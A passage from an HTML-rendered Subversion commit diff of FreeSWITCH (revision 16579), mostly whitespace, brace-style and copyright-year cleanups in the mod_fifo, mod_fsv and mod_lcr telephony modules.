</ins><span class="cx">         sql = switch_mprintf("delete from fifo_outbound where fifo_name='%q' and uuid = '%q'", fifo_name, digest);
</span><span class="cx">         switch_assert(sql);
</span><span class="cx">         fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="cx">         free(sql);
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">         if (!(node = switch_core_hash_find(globals.fifo_hash, fifo_name))) {
</span><span class="cx">                 node = create_node(fifo_name, 0, globals.sql_mutex);
</span><span class="lines">@@ -2115,7 +2117,7 @@
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx">
</span><del>-        node->has_outbound = 1;        
</del><ins>+        node->has_outbound = 1;
</ins><span class="cx">
</span><span class="cx">         name_dup = strdup(fifo_name);
</span><span class="cx">         if ((p = strchr(name_dup, '@'))) {
</span><span class="lines">@@ -2128,13 +2130,12 @@
</span><span class="cx">                                                  "values ('%q','%q',"
</span><span class="cx">                                                  "'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,"
</span><span class="cx">                                                  "origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,%d,%ld,0,0,0,'%q')",
</span><del>-                                                 digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long)expires, globals.hostname
-                                                 );
</del><ins>+                                                 digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long) expires, globals.hostname);
</ins><span class="cx">         switch_assert(sql);
</span><span class="cx">         fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="cx">         free(sql);
</span><span class="cx">         free(name_dup);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void fifo_member_del(char *fifo_name, char *originate_string)
</span><span class="lines">@@ -2143,7 +2144,7 @@
</span><span class="cx">         char *sql;
</span><span class="cx">
</span><span class="cx">         switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
</span><del>-        
</del><ins>+
</ins><span class="cx">         sql = switch_mprintf("delete from fifo_outbound where fifo_name='%q' and uuid = '%q' and hostname='%q'", fifo_name, digest, globals.hostname);
</span><span class="cx">         switch_assert(sql);
</span><span class="cx">         fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="lines">@@ -2167,7 +2168,7 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (zstr(cmd)){
</del><ins>+        if (zstr(cmd)) {
</ins><span class="cx">                 stream->write_function(stream, "-USAGE: %s\n", FIFO_MEMBER_API_SYNTAX);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -2181,11 +2182,11 @@
</span><span class="cx">                 stream->write_function(stream, "%s", "-ERR Invalid!\n");
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         action = argv[0];
</span><span class="cx">         fifo_name = argv[1];
</span><span class="cx">         originate_string = argv[2];
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (action && !strcasecmp(action, "add")) {
</span><span class="cx">                 if (argc > 3) {
</span><span class="cx">                         simo_count = atoi(argv[3]);
</span><span class="lines">@@ -2208,7 +2209,7 @@
</span><span class="cx">                 if (lag < 0) {
</span><span class="cx">                         lag = 5;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 fifo_member_add(fifo_name, originate_string, simo_count, timeout, lag, expires);
</span><span class="cx">                 stream->write_function(stream, "%s", "+OK\n");
</span><span class="cx">         } else if (action && !strcasecmp(action, "del")) {
</span><span class="lines">@@ -2240,7 +2241,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* Subscribe to presence request events */
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY,
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY,
</ins><span class="cx">                                                                         pres_event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't subscribe to presence request events!\n");
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -2250,10 +2251,10 @@
</span><span class="cx">         switch_core_hash_init(&globals.fifo_hash, globals.pool);
</span><span class="cx">         switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
</span><span class="cx">         switch_mutex_init(&globals.sql_mutex, SWITCH_MUTEX_NESTED, globals.pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.running = 1;
</span><del>-        
-        if ((status = load_config(0,1)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+
+        if ((status = load_config(0, 1)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_event_unbind(&globals.node);
</span><span class="cx">                 switch_event_free_subclass(FIFO_EVENT);
</span><span class="cx">                 switch_core_hash_destroy(&globals.fifo_hash);
</span><span class="lines">@@ -2287,24 +2288,24 @@
</span><span class="cx">         fifo_node_t *node;
</span><span class="cx">         switch_memory_pool_t *pool = globals.pool;
</span><span class="cx">         switch_mutex_t *mutex = globals.mutex;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_unbind(&globals.node);
</span><span class="cx">         switch_event_free_subclass(FIFO_EVENT);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(mutex);
</span><span class="cx">
</span><span class="cx">         globals.running = 0;
</span><span class="cx">         /* Cleanup */
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.node_thread_running) {
</span><span class="cx">                 stop_node_thread();
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         while ((hi = switch_hash_first(NULL, globals.fifo_hash))) {
</span><span class="cx">                 int x = 0;
</span><span class="cx">                 switch_hash_this(hi, NULL, NULL, &val);
</span><span class="cx">                 node = (fifo_node_t *) val;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_thread_rwlock_wrlock(node->rwlock);
</span><span class="cx">                 for (x = 0; x < MAX_PRI; x++) {
</span><span class="cx">                         while (switch_queue_trypop(node->fifo_list[x], &pop) == SWITCH_STATUS_SUCCESS) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_fsvmod_fsvc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_fsv/mod_fsv.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -107,7 +107,7 @@
</span><span class="cx">         int fd;
</span><span class="cx">         switch_mutex_t *mutex = NULL;
</span><span class="cx">         switch_codec_t codec, *vid_codec;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_core_session_get_read_impl(session, &read_impl);
</span><span class="cx">
</span><span class="cx">         switch_channel_answer(channel);
</span><span class="lines">@@ -227,8 +227,8 @@
</span><span class="cx">         uint32_t ts = 0, last = 0;
</span><span class="cx">         switch_timer_t timer = { 0 };
</span><span class="cx">         switch_payload_t pt = 0;
</span><del>- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         aud_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
</span><span class="cx">         vid_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_lcrmod_lcrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -122,7 +122,7 @@
</span><span class="cx">         switch_bool_t profile_has_intrastate;
</span><span class="cx">         switch_bool_t profile_has_intralata;
</span><span class="cx">         switch_bool_t profile_has_npanxx;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_bool_t reorder_by_rate;
</span><span class="cx">         switch_bool_t quote_in_list;
</span><span class="cx">         switch_bool_t info_in_headers;
</span><span class="lines">@@ -173,21 +173,21 @@
</span><span class="cx">         char *src_regex = NULL;
</span><span class="cx">         char *dst_regex = NULL;
</span><span class="cx">         switch_channel_t *channel = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(cid)) {
</span><span class="cx">                 len = strlen(cid);
</span><span class="cx">         } else {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         src = switch_core_strdup(pool, cid);
</span><span class="cx">         /* check that this is a valid regexp and split the string */
</span><del>-        
-        if ((src[0] == '/') && src[len-1] == '/') {
</del><ins>+
+        if ((src[0] == '/') && src[len - 1] == '/') {
</ins><span class="cx">                 /* strip leading / trailing slashes */
</span><del>-                src[len-1] = '\0';
</del><ins>+                src[len - 1] = '\0';
</ins><span class="cx">                 src++;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* break on first / */
</span><span class="cx">                 dst = strchr(src, '/');
</span><span class="cx">                 *dst = '\0';
</span><span class="lines">@@ -216,12 +216,12 @@
</span><span class="cx">                         switch_safe_free(tmp_regex);
</span><span class="cx">                         dst = dst_regex;
</span><span class="cx">                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "expanded src: %s, dst: %s\n", src, dst);
</span><span class="cx">         }
</span><del>-
</del><ins>+
</ins><span class="cx">         if ((proceed = switch_regex_perform(number, src, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
</span><del>-                len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed; /* guestimate size */
</del><ins>+                len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed;        /* guestimate size */
</ins><span class="cx">                 if (!(substituted = switch_core_alloc(pool, len))) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Memory Error!\n");
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -233,77 +233,71 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_regex_safe_free(re);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return substituted;
</span><del>-        
-done:
</del><ins>+
+ done:
</ins><span class="cx">         switch_regex_safe_free(re);
</span><span class="cx">         return number;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile, switch_core_session_t *session)
</del><ins>+static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile,
+                                                         switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         size_t lstrip;
</span><del>-        size_t tstrip;
</del><ins>+        size_t tstrip;
</ins><span class="cx">         char *data = NULL;
</span><span class="cx">         char *destination_number = NULL;
</span><del>-        char *orig_destination_number = NULL;
</del><ins>+        char *orig_destination_number = NULL;
</ins><span class="cx">         char *codec = NULL;
</span><span class="cx">         char *cid = NULL;
</span><span class="cx">         char *header = NULL;
</span><span class="cx">         char *user_rate = NULL;
</span><span class="cx">
</span><span class="cx">         orig_destination_number = destination_number = switch_core_strdup(pool, dialed_number);
</span><del>-        
</del><ins>+
</ins><span class="cx">         tstrip = ((cur_route->digit_len - cur_route->tstrip) + 1);
</span><span class="cx">         lstrip = cur_route->lstrip;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (cur_route->tstrip > 0) {
</span><span class="cx">                 if (strlen(destination_number) > tstrip) {
</span><span class="cx">                         destination_number[tstrip] = '\0';
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         destination_number[0] = '\0';
</span><del>-                         }
- }
</del><ins>+                }
+        }
</ins><span class="cx">         if (cur_route->lstrip > 0) {
</span><span class="cx">                 if (strlen(destination_number) > lstrip) {
</span><span class="cx">                         destination_number += lstrip;
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         destination_number[0] = '\0';
</span><span class="cx">                 }
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx">         codec = "";
</span><span class="cx">         if (!zstr(cur_route->codec)) {
</span><span class="cx">                 codec = switch_core_sprintf(pool, ",absolute_codec_string=%s", cur_route->codec);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         cid = "";
</span><span class="cx">         if (!zstr(cur_route->cid)) {
</span><del>-                cid = switch_core_sprintf(pool, ",origination_caller_id_number=%s",
-                                                                 do_cid(pool, cur_route->cid, caller_id, session));
</del><ins>+                cid = switch_core_sprintf(pool, ",origination_caller_id_number=%s", do_cid(pool, cur_route->cid, caller_id, session));
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         header = "";
</span><span class="cx">         if (profile->info_in_headers) {
</span><del>-                header = switch_core_sprintf(pool, ",sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s",
-                                                                         cur_route->rate_str,
-                                                                         cur_route->carrier_name);
</del><ins>+                header = switch_core_sprintf(pool, ",sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s", cur_route->rate_str, cur_route->carrier_name);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cur_route->user_rate_str)) {
</span><span class="cx">                 user_rate = "";
</span><span class="cx">         } else {
</span><span class="cx">                 user_rate = switch_core_sprintf(pool, ",lcr_user_rate=%s", cur_route->user_rate_str);
</span><span class="cx">         }
</span><del>-        
-        data = switch_core_sprintf(pool, "[lcr_carrier=%s,lcr_rate=%s%s%s%s%s]%s%s%s%s%s"
-                                                                , cur_route->carrier_name, cur_route->rate_str
-                                                                , user_rate, codec, cid, header
-                                                                , cur_route->gw_prefix, cur_route->prefix
-                                                                , destination_number, cur_route->suffix, cur_route->gw_suffix);
-                        
</del><ins>+
+        data =
+                switch_core_sprintf(pool, "[lcr_carrier=%s,lcr_rate=%s%s%s%s%s]%s%s%s%s%s", cur_route->carrier_name, cur_route->rate_str, user_rate, codec, cid,
+                                                        header, cur_route->gw_prefix, cur_route->prefix, destination_number, cur_route->suffix, cur_route->gw_suffix);
+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Returning Dialstring %s\n", data);
</span><span class="cx">         return data;
</span><span class="cx"> }
</span><span class="lines">@@ -311,13 +305,13 @@
</span><span class="cx"> static profile_t *locate_profile(const char *profile_name)
</span><span class="cx"> {
</span><span class="cx">         profile_t *profile = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(profile_name)) {
</span><span class="cx">                 profile = globals.default_profile;
</span><span class="cx">         } else if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error invalid profile %s\n", profile_name);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return profile;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -365,7 +359,7 @@
</span><span class="cx">                 if (current->digit_str != NULL) {
</span><span class="cx">                         if (current->digit_len > maxes->digit_str) {
</span><span class="cx">                                 maxes->digit_str = current->digit_len;
</span><del>-                        }
</del><ins>+                        }
</ins><span class="cx">                 }
</span><span class="cx">                 if (current->rate_str != NULL) {
</span><span class="cx">                         this_len = strlen(current->rate_str);
</span><span class="lines">@@ -374,7 +368,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 if (current->codec != NULL) {
</span><del>-                        this_len= strlen(current->codec);
</del><ins>+                        this_len = strlen(current->codec);
</ins><span class="cx">                         if (this_len > maxes->codec) {
</span><span class="cx">                                 maxes->codec = this_len;
</span><span class="cx">                         }
</span><span class="lines">@@ -393,13 +387,14 @@
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(globals.odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = globals.odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = globals.odbc_user;
</span><span class="cx">                 options.odbc_options.pass = globals.odbc_pass;
</span><span class="cx">
</span><del>-                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">         }
</span><span class="cx">         return dbh;
</span><span class="cx"> }
</span><span class="lines">@@ -430,23 +425,23 @@
</span><span class="cx">                 db_random = "random()";
</span><span class="cx">                 return SWITCH_TRUE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* make a new string with digits only */
</span><del>-static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
</del><ins>+static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
</ins><span class="cx"> {
</span><span class="cx">         char *p, *np, *newstr;
</span><span class="cx">         size_t len;
</span><span class="cx">
</span><del>-        p = (char *)str;
</del><ins>+        p = (char *) str;
</ins><span class="cx">
</span><span class="cx">         len = strlen(str);
</span><del>-        newstr = switch_core_alloc(pool, len+1);
</del><ins>+        newstr = switch_core_alloc(pool, len + 1);
</ins><span class="cx">         np = newstr;
</span><del>-        
-        while(*p) {
</del><ins>+
+        while (*p) {
</ins><span class="cx">                 if (switch_isdigit(*p)) {
</span><span class="cx">                         *np = *p;
</span><span class="cx">                         np++;
</span><span class="lines">@@ -478,14 +473,10 @@
</span><span class="cx">
</span><span class="cx">         digit_len = strlen(digits);
</span><span class="cx">         digits_copy = switch_core_strdup(pool, digits);
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (n = digit_len; n > 0; n--) {
</span><span class="cx">                 digits_copy[n] = '\0';
</span><del>-                dig_stream.write_function(&dig_stream, "%s%s%s%s",
-                                                                        (n==digit_len ? "" : ", "),
-                                                                        (quote ? "'" : ""),
-                                                                        digits_copy,
-                                                                        (quote ? "'" : ""));
</del><ins>+                dig_stream.write_function(&dig_stream, "%s%s%s%s", (n == digit_len ? "" : ", "), (quote ? "'" : ""), digits_copy, (quote ? "'" : ""));
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         ret = switch_core_strdup(pool, dig_stream.data);
</span><span class="lines">@@ -496,42 +487,41 @@
</span><span class="cx"> /* format the custom sql */
</span><span class="cx"> static char *format_custom_sql(const char *custom_sql, callback_t *cb_struct, const char *digits)
</span><span class="cx"> {
</span><del>-        char * tmpSQL = NULL;
-        char * newSQL = NULL;
</del><ins>+        char *tmpSQL = NULL;
+        char *newSQL = NULL;
</ins><span class="cx">         switch_channel_t *channel;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* first replace %s with digits to maintain backward compat */
</span><span class="cx">         if (cb_struct->profile->custom_sql_has_percent == SWITCH_TRUE) {
</span><span class="cx">                 tmpSQL = switch_string_replace(custom_sql, "%q", digits);
</span><span class="cx">                 newSQL = tmpSQL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* expand the vars */
</span><span class="cx">         if (cb_struct->profile->custom_sql_has_vars == SWITCH_TRUE) {
</span><span class="cx">                 if (cb_struct->session) {
</span><span class="cx">                         channel = switch_core_session_get_channel(cb_struct->session);
</span><span class="cx">                         switch_assert(channel);
</span><span class="cx">                         /*
</span><del>-                        newSQL = switch_channel_expand_variables_escape(channel,
-                                                                                                                        tmpSQL ? tmpSQL : custom_sql,
-                                                                                                                        escape_sql);
-                        */
-                        newSQL = switch_channel_expand_variables(channel,
-                                                                                                                tmpSQL ? tmpSQL : custom_sql);
</del><ins>+                         newSQL = switch_channel_expand_variables_escape(channel,
+                         tmpSQL ? tmpSQL : custom_sql,
+                         escape_sql);
+                         */
+                        newSQL = switch_channel_expand_variables(channel, tmpSQL ? tmpSQL : custom_sql);
</ins><span class="cx">                 } else if (cb_struct->event) {
</span><span class="cx">                         /* use event system to expand vars */
</span><span class="cx">                         newSQL = switch_event_expand_headers(cb_struct->event, tmpSQL ? tmpSQL : custom_sql);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_CRIT,
</span><del>-                                                                "mod_lcr called without a valid session while using a custom_sql that has channel variables.\n");
</del><ins>+                                                         "mod_lcr called without a valid session while using a custom_sql that has channel variables.\n");
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tmpSQL != newSQL) {
</span><span class="cx">                 switch_safe_free(tmpSQL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (newSQL == NULL) {
</span><span class="cx">                 return (char *) custom_sql;
</span><span class="cx">         } else {
</span><span class="lines">@@ -543,10 +533,10 @@
</span><span class="cx"> {
</span><span class="cx">         switch_bool_t retval = SWITCH_FALSE;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.odbc_dsn && (dbh = lcr_get_db_handle())) {
</span><span class="cx">                 if (switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, NULL)
</span><del>-                                == SWITCH_ODBC_FAIL) {
</del><ins>+                        == SWITCH_ODBC_FAIL) {
</ins><span class="cx">                         retval = SWITCH_FALSE;
</span><span class="cx">                 } else {
</span><span class="cx">                         retval = SWITCH_TRUE;
</span><span class="lines">@@ -562,23 +552,21 @@
</span><span class="cx">         lcr_route current = NULL;
</span><span class="cx">         callback_t *cbt = (callback_t *) pArg;
</span><span class="cx">         char *key = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_memory_pool_t *pool = cbt->pool;
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         if (argc < LCR_QUERY_COLS_REQUIRED) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
</span><del>-                                                        "Unexpected number of columns returned for SQL. Returned column count: %d. "
-                                                        "If using a custom sql for this profile, verify it is correct. Otherwise file a bug report.\n",
-                                                        argc);
</del><ins>+                                                 "Unexpected number of columns returned for SQL. Returned column count: %d. "
+                                                 "If using a custom sql for this profile, verify it is correct. Otherwise file a bug report.\n", argc);
</ins><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (zstr(argv[LCR_GW_PREFIX_PLACE]) && zstr(argv[LCR_GW_SUFFIX_PLACE]) ) {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                                                "There's no way to dial this Gateway: Carrier: \"%s\" Prefix: \"%s\", Suffix \"%s\"\n",
-                                                                switch_str_nil(argv[LCR_CARRIER_PLACE]),
-                                                                switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
</del><ins>+        if (zstr(argv[LCR_GW_PREFIX_PLACE]) && zstr(argv[LCR_GW_SUFFIX_PLACE])) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                 "There's no way to dial this Gateway: Carrier: \"%s\" Prefix: \"%s\", Suffix \"%s\"\n",
+                                                 switch_str_nil(argv[LCR_CARRIER_PLACE]), switch_str_nil(argv[LCR_GW_PREFIX_PLACE]), switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
</ins><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -590,7 +578,7 @@
</span><span class="cx">         additional->suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_SUFFIX_PLACE]));
</span><span class="cx">         additional->prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_PREFIX_PLACE]));
</span><span class="cx">         additional->carrier_name = switch_core_strdup(pool, switch_str_nil(argv[LCR_CARRIER_PLACE]));
</span><del>-        additional->rate = (float)atof(switch_str_nil(argv[LCR_RATE_PLACE]));
</del><ins>+        additional->rate = (float) atof(switch_str_nil(argv[LCR_RATE_PLACE]));
</ins><span class="cx">         additional->rate_str = switch_core_sprintf(pool, "%0.5f", additional->rate);
</span><span class="cx">         additional->gw_prefix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_PREFIX_PLACE]));
</span><span class="cx">         additional->gw_suffix = switch_core_strdup(pool, switch_str_nil(argv[LCR_GW_SUFFIX_PLACE]));
</span><span class="lines">@@ -603,7 +591,7 @@
</span><span class="cx">                 additional->cid = switch_core_strdup(pool, switch_str_nil(argv[LCR_CID_PLACE]));
</span><span class="cx">         }
</span><span class="cx">         if (argc > LCR_USER_RATE_PLACE) {
</span><del>-                additional->user_rate = (float)atof(switch_str_nil(argv[LCR_USER_RATE_PLACE]));
</del><ins>+                additional->user_rate = (float) atof(switch_str_nil(argv[LCR_USER_RATE_PLACE]));
</ins><span class="cx">                 additional->user_rate_str = switch_core_sprintf(pool, "%0.5f", additional->user_rate);
</span><span class="cx">         }
</span><span class="cx">         additional->dialstring = get_bridge_data(pool, cbt->lookup_number, cbt->cid, additional, cbt->profile, cbt->session);
</span><span class="lines">@@ -620,14 +608,12 @@
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (current = cbt->head; current; current = current->next) {
</span><del>-        
</del><ins>+
</ins><span class="cx">                 key = switch_core_sprintf(pool, "%s:%s", additional->gw_prefix, additional->gw_suffix);
</span><span class="cx">                 if (switch_core_hash_find(cbt->dedup_hash, key)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                "Ignoring Duplicate route for termination point (%s)\n",
-                                                                key);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Ignoring Duplicate route for termination point (%s)\n", key);
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -647,13 +633,12 @@
</span><span class="cx">                         if (current->rate > additional->rate) {
</span><span class="cx">                                 /* insert myself here */
</span><span class="cx">                                 if (current->prev != NULL) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s before %s\n",
-                                                                                additional->carrier_name, current->carrier_name);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding %s before %s\n", additional->carrier_name, current->carrier_name);
</ins><span class="cx">                                         current->prev->next = additional;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         /* put this one at the head */
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Inserting %s to list head before %s\n",
-                                                                                additional->carrier_name, current->carrier_name);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Inserting %s to list head before %s\n",
+                                                                         additional->carrier_name, current->carrier_name);
</ins><span class="cx">                                         cbt->head = additional;
</span><span class="cx">                                 }
</span><span class="cx">                                 additional->next = current;
</span><span class="lines">@@ -665,7 +650,7 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         } else if (current->next == NULL) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "adding %s to end of list after %s\n",
</span><del>-                                                                        additional->carrier_name, current->carrier_name);
</del><ins>+                                                                 additional->carrier_name, current->carrier_name);
</ins><span class="cx">                                 current->next = additional;
</span><span class="cx">                                 additional->prev = current;
